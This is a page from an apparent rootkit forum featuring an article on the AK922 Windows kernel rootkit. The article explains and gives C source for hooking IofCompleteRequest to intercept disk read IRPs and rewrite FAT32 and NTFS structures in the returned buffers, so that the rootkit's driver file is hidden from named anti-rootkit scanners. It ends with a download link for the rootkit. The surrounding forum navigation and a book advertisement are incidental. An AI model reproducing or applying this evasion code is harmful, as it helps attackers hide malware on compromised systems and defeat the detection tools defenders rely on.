 main menuhome
forums Show me new threads!
bookmarks
post article
view blogs
vault you must be level 2 to upload files to your vault
downloads you must be logged to access downloads
Rootkit Collection
A news back-end to implement RootKit news into your website is here or more advanced version here.
An XML/RSS feed that includes both NEWS and BLOGS for RootKit is here: XML/RSS.
Beta feed for replied posts here. feedback to admins not forums, we know about times being off...
|
ROOTKIT
Keep it stealth and keep it alive
|
Saturday July 31st |
| | Featured Article: Nostalgia: n00bk1t, an advanced ring3 rootkit in C by jeffosz | AK922: Bypassing Disk Low Level Scanning to Hide File By: Azy AK922: Bypassing Disk Low Level Scanning to Hide File Author: Azy Email: Azy000@gmail.com Currently, there are two main methods for the public mainstream anti-rootkit detecting hidden files: the first is the file system layer's detection, fall into this category are icesword, darkspy, gmer such. Second is the disk low level scanning, fall into this category such as rootkit unhooker, filereg (is's plug-in), rootkit revealer, and blacklight, etc. Of course, there are some other tools running in the user-mode, call ZwQueryDirectoryFile to implement detection. Driver or application, said plainly just send IRPs to the lower driver directly or indirectly. The first category send IRPs to FSD (fastfat.sys / ntfs.sys), while the second type send to disk driver(disk.sys). Then IRPs will return, carrying information corresponding to the file, the upper applications can process and judge the returned infor at this time. However, disk layer is more lower than FS layer, the info IRPs return to us is the disk sector data more closer to the original data organization, so the detection implementing on the disk layer can get more convincing results. But it doesn't mean such detection cannot be defeated. This paper will introduce a bypass such detection method, of course, this is also used in AK922. For the RK To hide file, it is better to say "intercept" than "bypass" - just hook the kernel function call to provide the opportunity of filter the info to be hidden for us before return to upper. AK922, the method used was to hook kernel function IofCompleteRequest. This function is very interesting, because it is not only a any-driver-will-call function, but also contains the parameters of IRP. IRP is everything to us! These characteristics determine it is suitable for our "puppet". But more important is, operations have been completed at the time driver calls it, IRPs have been filled with data in the relevant member, which make it easier for us to proceed to filter sth directly without sending IRPs & installing completion routine. Now let's focus on the workflow: First, judge MajorFunction if it's IRP_MJ_READ and io stack location's DeviceObject whether it is the disk device object. Because we need to deal with these core IRPs -- all the guys sent directly to the disk driver layer can be intercepted here. The following work you must pay special attention. You'd better not forget you're executing at or above APC_LEVEL When entered here. That's to say you cannot touch any user-mode buffer, otherwise, most likely BSOD. In other words, we cannot deal with the related disk sector data directly, and must queue a WorkItem through ExQueueWorkItem. Moreover, since disk layer is at a relatively lower position in the device stack, the current process context is no longer the context owned by initiator of the original IRP when most of IRPs arrive here (the "initiator" should be understood as the ARK's process here). Fortunately, IRP's Tail.Overlay.Thread member still preserves its original initiator's thread pointer. That's useful to us. In order to operate user-mode buffer we must call KeAttachProcess, switch to the initiator's context, and it can only work in the worker thread which is executing at PASSIVE_LEVEL. At DISPATCH_LEVEL, the less you do, the safer you gain. I started to deal with the two cases: Since not all the IRPs are in the different executing context, such as icesword's IRPs, still in the executing context of icesword.exe here. Then I think I needn't queue the workitem and it can save a lot of system resources, improve filtering efficiency. So I tried to operate user-mode buffer at DISPATCH_LEVEL directly, but this doesn't work, I always get BSOD, so just queue the fucking workitem, and then judge it. Code as follows:
if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0) { orgnThread = Irp->Tail.Overlay.Thread; orgnProcess = IoThreadToProcess(orgnThread); if(Irp->MdlAddress) { UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset); //userbuffer should be valid if(UserBuffer) { if(KeGetCurrentIrql() == DISPATCH_LEVEL) { RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX)); WorkerCtx->UserBuffer = UserBuffer; WorkerCtx->Length = irpSp->Parameters.Read.Length; WorkerCtx->EProc = orgnProcess; ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx); ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue); } } } }
Arrive at the worker thread, change to the PASSIVE_LEVEL, switch to the original context, it seems much safer. But we should call ProbeForXxx to spy the dark first before operating use-mode buffer just in case of BSOD. Code as follows:
VOID WorkerThread(PVOID Context) { KIRQL irql; PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc; PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc; //PMDL mdl;
if(((PWORKERCTX)Context)->UserBuffer) { if(eproc != currProc) {
KeAttachProcess(eproc);
__try{ // ProbeForWrite must be running <= APC_LEVEL ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1); HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length); }
__except(EXCEPTION_EXECUTE_HANDLER){
//DbgPrint("we can't op the buffer now :-("); KeDetachProcess(); return; } KeDetachProcess(); }else{
__try{ // ProbeForWrite must be running <= APC_LEVEL ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1); HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length); }
__except(EXCEPTION_EXECUTE_HANDLER){} } } }
Everything's ready, now it's time for doodling. This will involve FAT32 and NTFS disk volume structure. I just list out the main struct we used, for more information take a look at《NTFS Documentation》.
typedef struct _INDEX_HEADER{ UCHAR magic[4]; USHORT UpdateSequenceOffset; USHORT SizeInWords; LARGE_INTEGER LogFileSeqNumber; LARGE_INTEGER VCN; ULONG IndexEntryOffset; // needed! ULONG IndexEntrySize; ULONG AllocateSize; }INDEX_HEADER, *PINDEX_HEADER;
typedef struct _INDEX_ENTRY{ LARGE_INTEGER MFTReference; USHORT Size; // needed! USHORT FileNameOffset; USHORT Flags; USHORT Padding; LARGE_INTEGER MFTReferParent; LARGE_INTEGER CreationTime; LARGE_INTEGER ModifyTime; LARGE_INTEGER FileRecModifyTime; LARGE_INTEGER AccessTime; LARGE_INTEGER AllocateSize; LARGE_INTEGER RealSize; LARGE_INTEGER FileFlags; UCHAR FileNameLength; UCHAR NameSpace; WCHAR FileName[1]; }INDEX_ENTRY, *PINDEX_ENTRY;
On FAT32 volume, AK922 searches for the ak922.sys's directory entry, and then modifies the first bytes as "0xe5"(mark as deleted), in this way, ark can be cheated. However, in order to be more subtle not detected by winhex, AK922 set the file name buffer to zero. There's a little more trouble with NTFS volume. File record and index entry should both be handled, details as following codes:
VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen) { ULONG i; BOOLEAN bIsNtfsIndex; BOOLEAN bIsNtfsFile; ULONG offset = 0; ULONG indexSize = 0; PINDEX_ENTRY currIndxEntry = NULL; PINDEX_ENTRY preIndxEntry = NULL; ULONG currPosition;
bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0); bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);
if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE) { for(i = 0; i < BufLen/0x20; i++) { if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3)) {
*(PUCHAR)UserBuf = 0xe5; *(PULONG)((ULONG)UserBuf + 0x1) = 0;
break; }
UserBuf = (PVOID)((ULONG)UserBuf + 0x20); }
} else if(bIsNtfsFile) {
//DbgPrint("FILE0...");
for(i = 0; i < BufLen / FILERECORDSIZE; i++) { if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9)) { memset((PVOID)UserBuf, 0, 0x4); memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18); break; } UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE); } } else if(bIsNtfsIndex) { //DbgPrint("INDX..."); // Index Entries offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18; indexSize = BufLen - offset; currPosition = 0;
currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset); //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize); while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0) { if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9)) { memset((PVOID)currIndxEntry->FileName, 0, 18);
if(currPosition == 0) { ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size; break; }
preIndxEntry->Size += currIndxEntry->Size; break; }
currPosition += currIndxEntry->Size; preIndxEntry = currIndxEntry; currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size); } } }
Finally, forgive my bad English :) References: [1] - 《NTFS Documentation》 [2] - Azy,《IceSword & Rootkit Unhooker驱动简析》 About AK922(AzyKit): A hide-file rk sample of mine, it can bypass all the anti-rootkits mentioned above. Dowload @ >http://www.wiiupload.net/sf/65b4e75ec4>
|
| |
ROOTKITS, Subverting the Windows Kernel
By: Greg Hoglund and Jamie Butler
Rootkits are powerful tools to compromise computer systems without detection. Get the original and best book on the subject here.
|
active for last 5 minutes
registered users:79912
There are currently 0 registered users and 22 guests browsing the website.
Welcome our latest registered user: Pris
| Jul 31, 12:06 |
| May 09, 04:30 |
| May 08, 15:33 |
| May 04, 15:42 |
| May 02, 03:59 |
| Best Screenshots / Analog |
| the most active news users |
based on the number of news posts for last 30 days
|